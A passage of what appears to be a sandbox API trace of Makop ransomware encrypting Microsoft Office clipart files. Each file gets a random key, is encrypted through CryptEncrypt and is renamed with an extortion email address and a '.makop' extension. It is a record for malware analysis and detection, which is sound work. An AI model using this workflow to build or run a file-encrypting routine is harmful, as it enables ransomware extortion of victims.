[0150.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.042] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.043] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x878, lpOverlapped=0x0) returned 1 [0150.043] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x880, dwBufLen=0x880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x880) returned 1 [0150.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x880, lpOverlapped=0x0) returned 1 [0150.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.044] SetEndOfFile (hFile=0xf0) returned 1 [0150.050] GetProcessHeap () returned 0x48a0000 [0150.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.051] GetProcessHeap () returned 0x48a0000 [0150.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.051] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.052] CloseHandle (hObject=0xf0) returned 1 [0150.053] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0150.053] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 63 [0150.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.054] GetProcessHeap () returned 0x48a0000 [0150.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.061] GetProcessHeap () returned 0x48a0000 [0150.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.062] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.062] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x59ec, lpOverlapped=0x0) returned 1 [0150.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59f0, dwBufLen=0x59f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x59f0) returned 1 [0150.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.064] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x59f0, lpOverlapped=0x0) returned 1 [0150.064] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.064] SetEndOfFile (hFile=0xf0) returned 1 [0150.072] GetProcessHeap () returned 0x48a0000 [0150.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.072] GetProcessHeap () returned 0x48a0000 [0150.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.074] CloseHandle (hObject=0xf0) returned 1 [0150.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0150.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF") returned 63 [0150.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.077] GetProcessHeap () returned 0x48a0000 [0150.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.082] GetProcessHeap () returned 0x48a0000 [0150.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.083] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.084] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb6c, lpOverlapped=0x0) returned 1 [0150.084] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb70, dwBufLen=0xb70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb70) returned 1 [0150.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb70, lpOverlapped=0x0) returned 1 [0150.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.085] SetEndOfFile (hFile=0xf0) returned 1 [0150.091] GetProcessHeap () returned 0x48a0000 [0150.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.092] GetProcessHeap () returned 0x48a0000 [0150.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.092] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.093] CloseHandle (hObject=0xf0) returned 1 [0150.094] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0150.094] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF") returned 63 [0150.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.095] GetProcessHeap () returned 0x48a0000 [0150.095] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.095] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.100] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.100] GetProcessHeap () returned 0x48a0000 [0150.100] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.101] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.102] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xac8, lpOverlapped=0x0) returned 1 [0150.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0, dwBufLen=0xad0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0) returned 1 [0150.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xad0, lpOverlapped=0x0) returned 1 [0150.103] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.103] SetEndOfFile (hFile=0xf0) returned 1 [0150.110] GetProcessHeap () returned 0x48a0000 [0150.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.110] GetProcessHeap () returned 0x48a0000 [0150.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.111] CloseHandle (hObject=0xf0) returned 1 [0150.119] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0150.119] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF") returned 63 [0150.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.120] GetProcessHeap () returned 0x48a0000 [0150.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.120] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.121] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.121] GetProcessHeap () returned 0x48a0000 [0150.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, 